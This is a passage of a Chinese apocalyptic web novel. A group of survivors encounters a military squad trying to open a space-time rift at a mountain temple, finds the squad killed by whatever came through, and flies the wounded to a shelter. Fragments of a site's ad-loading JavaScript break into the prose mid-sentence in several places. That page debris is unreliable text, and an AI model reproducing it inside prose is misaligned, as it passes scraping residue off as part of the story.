“我能有什么意思，我就是胡说八道呗，我看啊，这个世界走向灭亡是必然，因为有一种神秘力量不想让这个世界存在，所以才发生了那些事，所以，任何拯救都是徒劳无功的。” “你是写小说写多了，开始胡思乱想了吧。”张进哼了一声，“总之有人愿意救这个世界，我还是挺高兴的，虽然我可能看不到了。” “是啊。”乔一伊也认同，片刻又摇头，“我还是想看到的。” “天真。”林预无奈摇头。 肖与楚不想就这个问题继续下去，她接着问住持：“既然他们说是全球联合军，来到这里的有多少人？” “好像……十个人。” “来多少天了？” “这个……今天早上来的，然后就一直在后院布置，我也不知道他们在做什么，后来他们说要把周围可能有人的地方都处理了，我就想到那个穿黑衣的女孩上来过，便问能不能通知你们。” 他们到底要在这里做什么呢？既然是拯救星球，想必和时空裂缝有关系……会不会他们想控制裂缝？ 肖与楚有一丝担忧。 “我带徒弟去偏殿收拾东西，你们先在这里休息。”秋呈说着微微颔首，就招呼身后两个徒弟，一起出去了。 大殿里就剩下肖与楚一行人，没有其他人打扰，确实自在了许多。大家各自找了蒲团坐了下来休息。 “人生得意须尽欢，能歇会儿是会儿。”张进趴在蒲团上，不多时就进入了梦乡。 过了会儿林预也呼呼大睡了。 只剩下几个女人都醒着，潺音忙着闭目养神，廉敏佳在大殿里转悠，欣赏那些栩栩如生的佛像；乔一伊没什么精神，她窝在蒲团上长吁短叹，嘀咕自己当初选错了专业。 趁着这个时间，肖与楚把小野拉到了大殿外。 “我想让你办件事。”肖与楚低声说道。 “什么事？” 肖与楚伏在小野耳边说了几句，小野听到后有一点惊讶。 “如果被他们被发现了怎么办？他们会杀了我们吗？” “我看他们也不是随便杀人的人，”肖与楚很镇静，“只要小心点就行。” “好吧，既然你说干我就干。” 小野这次放出了一个几乎苍蝇那么大的飞行器。在大雄宝殿后，还有观音殿和藏经阁两座大殿，大殿之间相隔几十米，形成了一个较为 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宽阔的广场。 寺庙不算大，飞行器飞出不到十分钟就回来了。 这支队伍的确有十个人，其中八个人都在藏经阁前待命，还有两个人守在观音殿，他们所布置的东西就在藏经阁前，一个有支架的释放着电流的机器，以怪诞的姿势向天上伸展着。 “他们这是想干嘛？”小野发出疑问。 “我猜他们做的事跟时空裂缝有关。” “真的吗？”小野又吃了一惊，“但是据我所知，你们绝没有能力控制裂缝。他们真想做，恐怕只会招来更大的灾祸。” “比如？” “我不知道，”小野挠了挠脸颊，“要么就是他们被吞噬，或者裂缝吐出来更加不可思议的东西？总之挺危险的。” 肖与楚思忖片刻，让小野继续监视这些人，看看他们到底想干什么。 而在后院忙碌的小组，自然对被监视一事毫不知情。以辛队长为首的行动小队，以为肖与楚这帮人不过是一帮正在仓皇求生的普通人而已。 他们几个人聚在观音阁前，对眼前这个仪器露出不可捉摸的神情。其中一个年纪略长的人盯着一起看了许久，终于忍不住把辛队长拉到了广场角落。 “队长，这东西真的能像金教授所说的那样，在空气中产生一道裂缝？”他问辛队长。 “他是这么说。” “他们这些科学家是不是疯了，就不能过好眼下的日子，为什么非得折腾这些有的没的。” “他们说：如果不知道怎么产生，就不知道如何封闭。” “这些人把人命当儿戏，难道我们的命就不是命了？万一从那些什么裂缝里泄漏出我们无法预知的东西，你我，还有兄弟们都是死路一条。” “我们有武器。”辛队长很从容。 “队长，你别太乐观了，缝隙里出来的东西我们不是没见识过，这个任务我们就不应该接，现在后悔还来得及。” “现在说这些都晚了。箭在弦上，不得不发。而且如果我们就这么回去，恐怕——家人的性命不保。” “家人……”年长的人震惊，“他们用我们的家人威胁？” 辛队长叹气：“可以这么说。” “疯了，彻底疯了。” “老徐，”辛队长苦口婆心，“这个世界早就已经疯了，我们不过是棋子而已，你以为他们把我们的家人放在庇护所是为了什么？不就是为了控制你我这样的人吗？还有啊……”辛队长压低了嗓门，“据我所知，还有好几个地方在布置这玩意儿，他们不是在打无准备之仗。” “布置这东西还有什么玄机吗？”老徐问道。 “我只听说每一个地方的选址都是有讲究的，弘愿寺几乎近一个月都没出现过异常现象，天气也相对平稳，他们说这里很适合做这种事。” “哎，”老徐无奈地摇了摇头，过了半晌，他问：“我们还有活着回去的机会吗？” 辛队长望着仪器说：“不知道。” “那实验到底什么时候开始呢？” “随时待命。” 老徐的脸上显出颓唐的神色。“哎，看来只能听天由命了。对了，那些人你准备拿他们怎么办？” “庇护所大概不会收留他们，我只能把他们赶下山去。” …… 肖与楚和小野听着这样的对话，脸都绿了。 31. 031 他们在做的事情真的与时空裂缝有关…… 听起来这些人想要凭空制造出一个全新的时空裂缝？这样的事实，让肖与楚感到不可思议。 但让她更加不可思议的是，这些军人口中的“他们”居然会用家人的性命来威胁。 “他们这么做肯定有危险，你应该去劝劝他们。”小野听完他们的对话，对肖与楚说。 “怎么劝？”肖与楚反问道，“他们的家人在那些人手上。” “但他们只会带来更大的灾难。现在的你们，根本没有控制时空裂缝的能力，他们只会加快灭亡的进度。” “那谁能控制？裂缝控制者吗？”肖与楚反问道。 小野眼里闪过了一丝惊讶的神色，她缓缓地摇头道：“我不知道，我没听说过什么裂缝控制者。我只是不想让无辜的叔叔阿姨们因为这种荒唐的事情牺牲，不值得。” 肖与楚沉默。在听到了辛队长和老徐的对话后，肖与楚明白了一件事，虽然旧世界的秩序被打破了，但这个毁灭之中的新世界，依然有上位者和下位者之分。那些上位者，利用手中的资源建立起了新的世界秩序。 庇护所就是新世界秩序执行的地方。 但庇护所就是绝对安全吗？难道那里就不会有时空裂缝？他们如何确定这些庇护所该修建在哪里的？肖与楚的心里升起了无数的疑惑。 她思索再三，决定找去辛队长谈一谈。以什么契机找辛队长谈呢？应该说如何才能让辛队长对他们这些“没什么用的人”多看一眼呢？ 这是一个让人头疼的问题。 肖与楚思索着，不一会儿她就有了一个很危险的想法。 在向小野讨要了一把匕首后，肖与楚又把张进叫了起来，她跟他们一行人叮嘱了几句后，就大摇大摆地拿着匕首往观音殿去了。 观音殿里有两个穿着黑衣的人在那儿站岗，看见肖与楚过来，他们立即板着脸迎了过来。 “这里不许进，你赶紧回去。”其中一个士兵严厉地说道。 肖与楚不慌不忙：“不好意思，我有话要对辛队长说。” “队长没工夫陪你们这些人闲聊天，再不回去，我们就得把你们赶出弘愿寺了。”另一个士兵的语气也不友好。 肖与楚闻声看了一眼，才发现她是女人，只不过留着短发，身材又高大，乍一看辨认不出来。 “我真的有很要紧的事要说。”肖与楚说着拿出了匕首。 “你想干什么！”两个士兵刷地一下掏出枪，对准了肖与楚。 “我想见辛队长，两位对不住了。”肖与楚说着将匕首对准了那个女士兵的胸口，一个箭步冲上前。 只听砰砰两声枪响。肖与楚感觉自己的身体好像炸裂了一般，她低头一看，鲜血从她的肩胛骨和小腿流了出来。 真他爹的疼啊！ 肖与楚龇牙咧嘴，一屁股歪在了地上。哎，这种还没死透的感觉，还挺难受的…… “好了好了，别开枪了，我不动了。”肖与楚把匕首扔在了地上。 “她是不是疯了？”男士兵问女士兵。 “是吧。”女士兵只觉得眼前这个女人莫名其妙，“要不要汇报给队长？” “你去，我在这里看着她。” 女士兵点了点头，就往里走，还没走几步，就看到辛队长带着老徐急匆匆地走了过来。 “怎么回事？”辛队长的脸上乌云密布。 “报告队长，有个女人想硬闯进来，还拿匕首袭击我们，我们只好开枪。” “谁胆子这么大？”老徐问道。 辛队长也纳闷，他快步走到门口，看见歪在地上的肖与楚，疑惑顿时解除。 “是你啊。” “是……是我。”肖与楚的伤口还是有点疼，不过坐在地上比起站着已经算是好多了。 辛队长上下打量肖与楚，看到她身上的血迹，嘴角浮出了一丝意味不明的苦笑。 “你这是寻死啊。”老徐说。 “谁……谁说我寻死了？”肖与楚双手撑着小腿，深呼吸了一口气。几秒种后她挣扎着翻过身子，手撑着地面，缓缓地站了起来。 两个士兵都惊呆了，老徐的眼珠子也快掉了出来。 “这点小伤，死不了呢。”肖与楚是第一次受枪伤，虽然这种深度的伤跟之前的感觉有些不一样，不过还是在能忍受的范围内。 她直起身子，冲辛队长一笑说道：“我想跟你谈谈。” 辛队长的脸色并无明显的变化，他问：“你想谈什么？” “谈谈你们正在做的事。”肖与楚低头看了一眼肩胛骨的伤口，又活动了几下，那颗子弹竟然滑落了出来，接着小腿上的子弹也滑落在了地上。 辛队长嘴角浮出一抹淡然的微笑。“有点意思。” “有什么意思？很疼的。”肖与楚咬牙活动了一下身体，一切如常，没什么大碍，就是衣服上破了两个洞，还粘上了血迹。“你看，衣服破了，为了跟你说两句，我真不容易。” “你跟我来。”辛队长也不废话，就往刚刚来的方向走了。 肖与楚见状急忙跟着辛队长穿过了观音殿。 前方就是他们布置的那个机器，单单从外表来看，这个机器没什么可值得称赞的，像是什么东拼七凑的缝合怪，底下有一个圆盘支架，支架上是裸露的芯片和电线胡乱纠缠，密密麻麻，各种指示灯闪烁，再上方是一些奇形怪状的天线。 那些士兵看到肖与楚进来也露出了惊讶的表情。 肖与楚只是紧紧地跟在辛队长身后，直到走进了藏经阁，两人才停了下来。 “你演这么一出不累吗？”辛队长一进门就说。 “不累，就是有点疼。”肖与楚吐了口气，开门见山道：“我听说了你们要在这里做的事，我劝你最好们别做。” “你听那个和尚说的？” “不是，我是偷听到的。” “偷听？”辛队长眉间疑云密布，“你怎么偷听的？居然能神不知鬼不觉地听到我和老徐的对话？” “跟你们的能耐比不算什么啊。你们能让无法通信的电话通话，能让酒店在瞬间崩塌，能力肯定更强。” 辛队长的脸色很阴沉。 “你活腻了？” “我没活腻，是你们活腻了。我们根本没有控制时空裂缝的能力，裂缝连接哪个时空根本就不可知，万一你们招来了更强大的敌人，只会死得很惨。” 辛队长：“这种事还轮不到你来考虑。” “我是不想考虑，但是如果那东西太强大，殃及到那些城里还活着的人怎么办？” 辛队长的目光扫过了肖与楚的脸，却没有任何对死亡的畏惧。“你过来就为了跟我说这些？” 自然不是为了跟你说这些。 “我知道你们不在乎生死，大概也不会在乎城里还活着的那些人的生死，你们在乎的是在庇护所活着的自己的亲人，还有那些高高在上的人。”肖与楚故意奚落道。 辛队长的眼睛眯了眯，不为所动。 “如果你们非要去送死，我也不会拦你们。但是，如果那些东西也会到达庇护所呢？”肖与楚更进一步。 “这个不用你操心。” “为什么？难道庇护所就能保证所有人的安全？难道那里不会出现时空裂缝？难道那里就不会被入侵？” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >一连好几个问题，让这位姓辛的队长的脾气忍耐到了极点。 “你可以走了。” “你就一点都不想回答我？” “我没什么可回答的。你赶紧滚，滚下山，要不然只有死路一条！”辛队长低沉地吼道。 “对啊，你赶紧走吧，这里的事轮不到你一个普通人来插手。”老徐不知道什么时候出现在了门口，他似笑非笑地看着肖与楚。 肖与楚见实在聊不下去，只好悻悻地出了门。 “我送你出去。”老徐跟在她身后亦步亦趋。 “不用了。”肖与楚拒绝。 “先别急着拒绝。”老徐突然压低了嗓门，“即便是现存的科学家，对这种裂缝的研究也只是皮毛，这位不要命的朋友，你的担心不是没有道理。” 肖与楚听老徐这么说，放慢了脚步，“你刚刚都听到了？” “徐某不才，唯独听力稍微异于常人，所以听到了一些你们的对话。” “你听见什么啦？”肖与楚不经意地老徐一眼，这人头发花白，长相敦厚，一看就是干实事的人。 “听到你问队长关于庇护所的事啊。”老徐微微一笑，“其实庇护所也不是绝对安全，据我所知，就有好几个庇护所被袭击过。” “哦？”肖与楚停下了脚步。 “来，借一步说话。”老徐说着招了招手，示意肖与楚走到广场角落里的一棵枯树旁。 “你刚刚说的是什么意思？”站定后，肖与楚立马问道。 老徐抱着胳膊，微微一笑接着说：“我虽然职位不高，但好歹认识一些人，从他们的口中拼凑出了一些信息，那些人给庇护所所在地取了一个名字，叫‘空白之地’。” “这是什么意思？” “庇护所所在的地方都没有出现过时空裂缝，所以才这么叫。不过以我个人的视角来看，就算是空白之地，也有可能被在其他区域活跃的异时空生物入侵，覆巢之下复有完卵，这是迟早的问题。” 肖与楚微微点了点头。“你们队长他什么都不肯说，你为什么愿意说？” “我跟我们队长不一样，”老徐的微笑若有若无，“他这个人正直，无私，我不一样，我得给我家人留一条后路。” “哦？”肖与楚还是不明白。 “我还有老婆和孩子，她们就住在宁峰山余北镇的庇护所。她们能住进去的原因很简单，因为我在为联合军卖命。但万一我死了，她们母子俩就没有任何依靠了。” 老徐说到这里意味深长地看着肖与楚。 “我看你还有你的朋友，都很不一般。如果你们将来能到那里，记得帮我照看一下他们。” 这个理由让肖与楚无法信服，但是她看老徐诚恳的眼神，就知道他对家人的担心不假。 “你怎么知道我们能到那里，万一我没有这个计划呢？” “你可以有这个计划。”老徐说着从怀里掏出一张照片还有一张小纸条，“这是我家人的照片，还有居住地址，都交给你。” 照片上是老徐一家三口，他们坐在一张沙发上，女人约莫三十几岁，温婉平和，孩子看起来七八岁左右，笑得灿烂，老徐则板着脸，正襟危坐。 “地址我可以留下，照片你自己留着吧，又不是一定见不着。” 老徐嘿嘿一笑，把东西全都塞到了肖与楚手上。 “两个小时后，会有人来接住持他们，他们会安全到达庇护所。你们这些人在下午五点前必须下山，当然如果你们赶不及，我还有一个办法，只是需要你们帮另一个忙。” “什么忙？” 老徐在肖与楚耳边低语了一番，肖与楚瞬间皱起了眉头。 32. 032 肖与楚把老徐塞给她的东西，揣进了裤兜里，她走到了观音殿，那两个士兵向她投来了一瞥，什么话都没说。 肖与楚又回头看了一眼，老徐他们还在守着那个仪器，他似乎已经恢复了云淡风轻的模样，跟最后说那番话时严肃的表情判若两人。 “记住我跟你说的……” 怪了，明明是素昧平生的陌生人，为什么老徐说那么多给她听，甚至还托付这么重要的事。 肖与楚快步走出了观音殿，发现小野就在大雄宝殿屋檐下巴巴地望着这边，她急忙迎了上去。 “你没事吧？”小野问。 “没事。”伤口似乎愈合了，连疼痛也在逐渐消失，肖与楚活动了下胳膊，也无大碍。 “太好了，”小野上下打量肖与楚，“我听见枪声，还担心你要恢复好半天呢，没想到你现在恢复这么快了。” “你在这儿就为了看我恢没恢复？”肖与楚半开玩笑似的问道。 “差不多吧，也顺便用飞行器偷听了一下里面的谈话，”小野狡黠地笑了笑，“我已经听到那人跟你说的话了。” “你全都听到了？” “嗯。”小野用力地点了点头。 肖与楚苦笑，老徐的绝然让她觉得有些悲伤。 “我们回大雄宝殿吧，接下来还有很多事情要做呢。”肖与楚说道。 “明白了。”小野说着就蹦蹦跳跳往大雄宝殿走了。 肖与楚看着小野的背影，心想她有时候的反应的确不像一个孩子，太像一个大人了。 回到大雄宝殿后，肖与楚随即向所有人说要赶紧离开弘愿寺，她原本做好了说服所有人的准备，但大家出人意料地都没反对。 只有林预看到肖与楚身上的弹孔和血迹，一副欲言又止的神情。 大家收拾妥当后，就走出了大雄宝殿。 待离开山门的视线后，肖与楚悄然改变了方向，往马路旁边一条寂静的小路走去。 “小楚姐，你不是说下山吗？怎么往小路去了？”张进感到不解。 “我们不下山，”肖与楚站定脚步，回望了一眼所有人，“我们要找个地方等等。” 林预：“等什么？等死吗？” “呸呸呸，你能不能不要乌鸦嘴，听小楚说完。小楚，你说。”乔一伊看着肖与楚。 肖与楚继续说：“我还有些事没做，所以需要在这里待着，但是我得告诉你们，这件事很危险，要是你们不愿意待在这里，也可以下山，找地方躲起来。” “你这是说的什么话，我们都同生死共患难这么久了，难道还会让你一个人留下来？”张进一拍胸脯，“我跟你一起。” “我也跟你一起。”乔一伊附和。 “加一。”廉敏佳举起手。 “我也……”潺音顿住，她疑惑地看向廉敏佳，“加一是什么意思？” 廉敏佳：“……同意的意思。” “我也加一。”潺音抬了抬手中的剑。 “你们愿意送死，我可不送，恕我不奉陪了，拜拜。”林预挥了挥手，就自顾自地往山下走了。 肖与楚没有挽留他，毕竟才认识林预没多久，对他的底细一无所知，留这样一个人在身边一点都不安全。 “就这么让他走了？”张进嘀咕道。 “嗯。”看着林预走远，肖与楚才让其他人走上了小路。 “小楚姐，你留下来到底有什么目的啊，能不能先说给我们听听，让我们有个心理准备。”张进一边走一边说。 “到时候就知道了。” “嘿，你还卖关子。”张进啧啧摇头。 众人直到走到一栋灰白色房子附近，才停了下来。 这应该就是老徐所说的地方了。 肖与楚仔细观察这个院子，铁门紧锁，墙也不低。她算了下，从弘愿寺到这里，大概需要十分钟的路程，不远不近，从这个地方根本看不到弘愿寺，同样，从弘愿寺也看不到这里。 对他们来说，要打开门不是什么难事，几个人三下五除二就进了门。院子里空荡荡的一片，右侧便是那栋小楼。 “我们先进去休息。”肖与楚说。 张进再次想说点什么，但被乔一伊拦了回去。 小楼环境还不错，肖与楚带着大家找了一间办公室坐了下来。没坐多久，肖与楚便提议先吃点东西，张进又热情地说让他来掌厨，所有人想都没想就同意了。 半个小时后，大家吃上了一碗热乎乎的面。 吃完饭休息了一阵后，肖与楚听到头顶传来了轰隆隆的声音。 “这是什么声音？”潺音最为警觉。 “应该是来接那几个和尚的飞行器。”肖与楚回答道。 “飞行器。”潺音又愣住了，不过这回她没多问，只是重复了一遍就没再说话。 肖与楚看了一眼时间，距离老徐说的五点钟还有不到一个小时。一个小时后究竟会发生什么呢？她内心焦灼，便站起身来，看着窗外。 “小楚，我们到底在等什么啊？”乔一伊见肖与楚脸色难看，总觉得不对劲。 “时间。” “哦……”这不等于没说吗？乔一伊叹气。 时间一分一秒的流逝，距离五点越来越近了，肖与楚的心跳也变得越来越快，她感觉自己在期待什么东西，但又担心那些到来的东西，无法承受。 “嘭——嘭——” 巨大的响声将肖与楚从沉思中唤醒。 “怎么回事？”张进也站了起来，“我出去看看。” “不用去了，”肖与楚摆摆手，“你们看到院子里那块空地了吗？” 众人顺着肖与楚的视线，往外看。 乔一伊伸着脖子道：“看到了啊，怎么了？” “那里有一艘飞行器。” “我怎么没看见啊？”张进蹭地一下窜到了窗边。 “是那些人留在这里的，可以隐身。” “他们为什么把飞行器放在这里？” “你怎么知道的？” “老徐告诉我的，他说这艘飞行器可以坐十个人。现在寺里发生了点事，我必须去看看。” 乔一伊一听立即反对道：“小楚，你疯了吧，你还回去做什么啊，那里肯定很危险。” “我知道，但我答应了老徐，必须回去。” “这就是你在这里等的原因？”潺音问。 “嗯，”肖与楚点头，“我答应他要过去看看，带着活着的人离开。” “那……”张进差点脱口而出为什么不一开始就留在那里帮忙，但他那一瞬间脑子运转了一下，还是把要说出口的话憋了回去。 “那……那也轮不到我们救啊，他们有武器，还有我们不知 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道的异能，我们干嘛要去蹚浑水。”乔一伊梗着脖子说道。 “所以我决定一个人去，你们只需要在这里等我。” “不行！你一个人去，万一有危险，万一活着的人不止一个，你怎么弄？”张进拒绝道。 “万一都死了呢？”肖与楚反问。 众人沉默。 “听我的，你们在这里等着，小野，你先研究下飞行器怎么飞。” 肖与楚说着便不再和大家瞎掰扯，而是急忙出了门。 她快步向弘愿寺走去，脑海里却无数次会想起老徐说的话。 “其实我的能力不是听觉，”老徐悠悠地说道，“而是预见未来。” “预见……未来？” “没错，不过时间也不确定。有时候能预见几个小时内的景象，有时候能预见几天。所以我一般不对人提起。” 肖与楚恍然大悟：“所以你预见了……你自己的？” “死”这个字肖与楚没说出口。 “没错。”老徐点头，“我已经预见到了，我们这支小队，大多数人都会死，我，辛队长，还有其他人。” “辛队长知道这事吗？” “我已经跟他说过了，我们的任务就是来做这件事，所以没有退路，他知道了也会继续往下走的。” “他不怕死没关系，可是其他人的生死他凭什么决定？”肖与楚有些气愤。 “哎，”老徐叹气，“这你就错怪队长了，他倒不是不想让大家走，而是一切都是注定的。原本我们的任务不是这个，而是去剿灭一些别的时空溢出来的物种，但我预见到那是一场彻头彻尾的灾难，便提醒了队长，他为了保护大家才申请来执行这个任务，没想到……” 老徐说着愧疚地看了围着那个仪器值守的士兵们一眼。 “命运似乎早就已经注定了，我们没有办法改变。” “我可以帮你们。”肖与楚出于本能地脱口而出。 老徐摇头：“我在见到你的那一刻，脑子里就出现了一些念头，你会去庇护所，会见到我的家人。” “这你也预见到了？”肖与楚五味杂陈。 “是啊，这就是很神奇的一个能力。我还见到你似乎救了我们的人，还有一些其他的事情吧。”老徐摸了摸下巴，“所以我才决定把飞行器的地点告诉你，你到时候带着他们回去，庇护所会接待你们的。” “你忽略了一点，我们之中没有人会开飞行器。” “会有人开的。记住，五点半你再回到这里，既可以避开危险，又能救人。千万千万不要提前来，你帮不上什么忙，说不定还会增加我们的伤亡，我不想我们的全军覆没。” 老徐说得如此严肃，即便肖与楚怀疑其真实性，也不得不谨慎对待。 “我明白了。”肖与楚道。 “我就知道你会帮这个忙的。”老徐咧嘴一笑，“好啦，你可以走啦，去我说的那个地方等着就行，下次你见到我的时候，恐怕就是一具焦炭了。” 肖与楚看着老徐那张平静又淡然的脸，有种说不出口的滋味。求生本是人的本能，但这种本能似乎都在老徐的眉间磨灭了。 “你……叫什么名字？”肖与楚问。 “我叫徐政和。你不用告诉我你的名字，我已经知道了，真希望我能看到更远的未来，看到你如何。”老徐笑着伸出了手。 33. 033 不知不觉，肖与楚已经走到了弘愿寺大门附近。 弘愿寺静悄悄的，像她上午来的时候一样，只是现在空气中似乎多了一股淡淡的血腥味道。在弘愿寺的上空还有一团 大门虚掩着，肖与楚推门而入，就见天王殿已经被削去了一半，另一半摇摇欲坠，砖块和碎屑散落得到处都是。 在废墟之中，隐约可见一个人躺在那儿，一动不动，但是他身上那套黑色的制服都说明了他就是士兵中的一个。 肖与楚急忙上前查看，才发现他的身体血肉模糊，似乎是被什么巨物给踩扁了，现在像一块奇形怪状的肉饼。 即便看了很多尸体，肖与楚还是觉得胃里一阵痉挛。 她急忙别过头去，继续往前搜寻其他人。 大雄宝殿还保存着其基本的模样，但里面空空荡荡，什么东西都没有了，连佛像也变成了一对混凝土碎片，蒲团更是撕得满地都是。 在这里肖与楚又发现了一具被撕碎的尸体，甚至连脸长什么样都已经辨别不出来了。 这个东西到底有多凶残？竟然会下这么狠的手，而且最重要的一点是，她所在的地方距离这里也就十分钟的路程，却什么都没听见。 肖与楚继续往前走，观音殿已经被夷为平地，只剩下一堆瓦砾，在观音殿旁边还有一个深坑。在广场上放着的仪器，已经被劈成了两半，那些天线也散在了地上。 在广场上，横七竖八地躺着好几具尸体，肖与楚不多时便从中看到了老徐，他倒在血泊之中，胸口已经穿了个大洞，手里却还握着一把枪，两只眼睛盯着灰蒙蒙的天空，瞳孔里面却没有任何影子。 还有……辛队长，他趴在那个破损的仪器跟前，身体被撕裂成了两半，一半在仪器上，一半趴在地上，简直惨不忍睹。 肖与楚捂着口鼻，忍着不适继续往藏经阁走去。她还只刚走到门口，就听到里面传来低沉的呻吟声。 藏经阁里的书籍散落了一地，书架东倒西歪，肖与楚一进门，就看到在靠墙的角落里，两个穿黑衣的士兵依偎在一起，附近都是暗红的血迹。 “是……你……” 那人认出了肖与楚，肖与楚也认出了她，是白天在观音殿里看守的那个女兵。 女兵放下了枪，嘀咕道：“我……还以为是那东西。” “到底是什么东西？”肖与楚几步上前，蹲下身查看两人的伤势，“怎么会把你们伤成这个样子？” “你……你别管我们了，那东西已经跑了会有医疗队来救我们的。”女兵嘴唇发白，左手胳膊简单包扎过，右腿似乎被什么东西咬过了，留下很深的牙印。 “医疗队？”男兵冷笑了一声，他的额头受了伤，脚掌被一块黑色金属贯穿。“别说笑了，现如今不比从前，医疗队的资源根本用不到我们身上，我们这回死定了。” “谁说你们死定啦？”肖与楚看了两人一眼，“我答应过老徐了，会送你们回去。” “你？送我们？”两个士兵都不敢相信自己的耳朵。 “嗯，”肖与楚点了点头，接着说：“我想知道，刚刚出现在这里的到底是什么东西。” “这个……”男兵皱起了眉，过了片刻，他摇了摇头，“我们……没看清。” “你也没看清？”肖与楚的视线转向女兵。 女兵也摇了摇头：“它的速度……太快了，我们根本看不清到底是什么。” “那有没有什么特征呢？” “我感觉像一团气体，很大，很快。” “这东西说不定还会回来，你还是走吧。”男兵说道。 “应该不会了。”肖与楚说道。仅仅凭借两个士兵提供的这一点信息，恐怕要弄清楚是什么东西会很难。但那东西为什么又消失了？它去哪儿了呢？ “你们在这休息会儿，我去去就回。” “你……去哪儿？” “我去拿飞行器。” “你知道飞行器怎么开？” “不知道。” “那你……” “老徐说有人会开。” “他……”男兵突然愤怒起来，“要不是他，我们怎么可能变成这样？他明明可以预见未来，却不让我们避险！” “你别说了，老徐有苦衷。” “有苦衷，就能拿人命开玩笑吗？”男兵气愤极了。 女兵没有再反驳，只是微弱地叹了口气。 肖与楚也没说什么多余的话，她只是快步往外走去。 接下来要处理的事情有很多，首先要让那艘飞行器飞到这里来，才能接上两个不能动弹的伤兵，其次要找个地方将老徐和辛队长他们的尸体埋起来，肖与楚觉得观音殿旁边的那个坑刚好，这也算是她为他们能做的最后一件事了。 肖与楚刚出藏经阁的大门，就感觉到有个黑影压了下来，她警觉地缩回身子，抬头往天上看，才发现这团黑影竟是飞行器。 飞行器缓缓降落，肖与楚看见舷窗里有个人在朝她招手，是小野。 他们真的把飞行器开过来了。 这飞行器大约一辆小巴那么大，机舱呈椭圆形，通体黑色，噪音极小，它落下来的时候，不是很稳，喷起了地上的瓦砾和尘土。 肖与楚迎上去，却看见林预率先从驾驶舱里跳了下来，嘿嘿冲她笑。 “是你。”肖与楚不该意外，除了林预，这个地方也没别人了。 “哎，没办法，你们都不会开飞行器，只有我咯。”林预环顾四周，“这里是发生世界大战了吗？怎么变这样。” “你怎么会开飞行器的？”肖与楚问。 “我以前去飞行器的厂商学习过，学过一点皮毛。”林预歪着头看了一眼肖与楚身后，又缩回了脑袋。“这也死得太惨了。” 在肖与楚和林预说话的空档，其他人也陆陆续续从飞行器上走了下来，不吃意外，潺音一出舱门又吐了。 出舱的每个人看到弘愿寺这幅惨景，脸上都露出了震惊表情。 “这里到底怎么了？”小野拽着肖与楚的衣角问。 “他们的仪器起作用了，不知道招来了什么东西，把这里都毁了。那两个伤兵说是像气体，速度很快，其余的就不知道了。” 小野皱起了眉，她的视线落到了那台被毁坏的仪器上，眉目之间闪现出忧虑的神色。 “小楚，那个东西会不会还在这里啊，我们会不会有危险？”乔一伊看到那些尸体就已经吓得不轻，听肖与楚说那东西像气体，恨不得连呼吸的权利都省略掉。 “放心，暂时不会有危险。我们赶紧把该处理的事情处理完，就去庇护所。” “还要……处理什么事情？” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “尸体。” 肖与楚让张进和林预帮忙把两个伤兵弄上飞行器，而她和其他人去处理那些尸体。 一听说要把尸体收殓起来，乔一伊最先打了个冷颤，她已经看到了那些人的惨状，要把那些破碎的尸体都弄出来，想想都是个辛苦活儿。 只有潺音，因为曾经无数次在战场上收拾过残局，对这种场面司空见惯，几乎毫无顾忌地就答应了。 在肖与楚带领下，不多时众人就把几具尸体收到了一块儿，潺音在偏殿里找了些青衫把残破的尸体包裹起来，大家齐心协力把尸体放进观音殿旁边的那个深坑里。接着又挖了些土掩埋，最后把观音殿的瓦砾都铺在了上面。 能做的，就只有这么多了。肖与楚拍了拍手上和身上的尘土，如释重负。 她望着天空，想到几个小时前还活生生的人，就这么长眠在这个不起眼的坑里，心里不是滋味。 她的脑海里陡然又冒出那几个字：裂缝控制者。 肖与楚摇了摇头，甩开脑海里这些古怪的想法。 众人陆续上了飞行器，那两个伤兵一早就已经被放进了特殊制作的睡袋里，两人已经感觉不到疼痛，只有眼睛滴溜溜地转着。 肖与楚选择坐在副驾的位置上，她不是想要坐在这里，而是不得不这么做：在飞行过程中，极有可能会遇到时空裂缝，她必须时刻保持着警惕。 林预一开始还想和肖与楚说点什么，但看肖与楚的面若冰霜的表情还是乖乖闭了嘴。 “出发了，系好安全带。”林预交代道。 飞行器在林预的操作下摇摇晃晃飞了起来。低头看去，脚底下的弘愿寺已残破不堪，那个土包渐行渐远；放眼望去，远处城市里的积水还未消退，生命力似乎在慢慢消失。 “等飞上去后，我会开启隐身和自动驾驶功能，估计不到半个小时就会到达庇护所。但是到了庇护所之后，才是真正的麻烦。”林预盯着前方说道。 “什么麻烦？”张进在后面问。 “你以为他们会随随便便放我们进去吗？”林预回头瞥了张进一眼，“肯定要过五关斩六将，我太清楚这帮人的德行了，说不定还会把我们关起来拷问。” “嘿，我们好歹也救了他们的人，凭什么那么对我们。”张进愤愤然。 “你以为你是谁？”林预回头白了张进一眼，“不过是蝼蚁罢了。” “你……难道你不是？” “我也是，我们都是。” 飞行器飞过了城市，飞进了山里，前方的山岭上突然出现了数不清的风力发电机，那些风力发电机在缓慢地旋转，而在山岭之下是就是那个小镇。 这是个规划不错的镇子，一排一排整齐的白砖瓦房，以小镇为中心，周围有几十个大型的白色圆顶建筑和数不清的小型白色方块建筑。 在这这之外，还有各种配套设施，在最外围是金属杆，十几米一根，组成了一道看起来没什么用的围墙。 但那也只是看起来没什么用罢了，在这些金属杆之间，肯定有让人闻风丧胆的东西。 就在众人正因为眼前的情形惊诧的时候，飞行器里突然传来了一个机械的声音： 028号飞行器，请前往3号着陆点，028号飞行器，请前往3号着陆点，否则会被击落，否则会被击落…… 34. 034 会被击落？肖与楚和林预还在愣神中，女兵就抢先一步回答道：“收到，028号明白，028号明白。” 肖与楚和林预几乎同时松了口气，舱内其他人也默默擦了一把汗。 男兵却有些慌乱地询问女兵：“3号着陆点……于柳，他们是不是怀疑我们了？” 于柳回答道：“有怀疑很正常，只要我们进入庇护所的范围内，舱内的一切都被锁定了，确切地说，舱内有什么人，他们也已经知道了。就算我们不回答，他们也会控制飞行器往3号着陆点去的。” “3号着陆点跟其他着陆点相比有什么不同吗？”乔一伊问道。 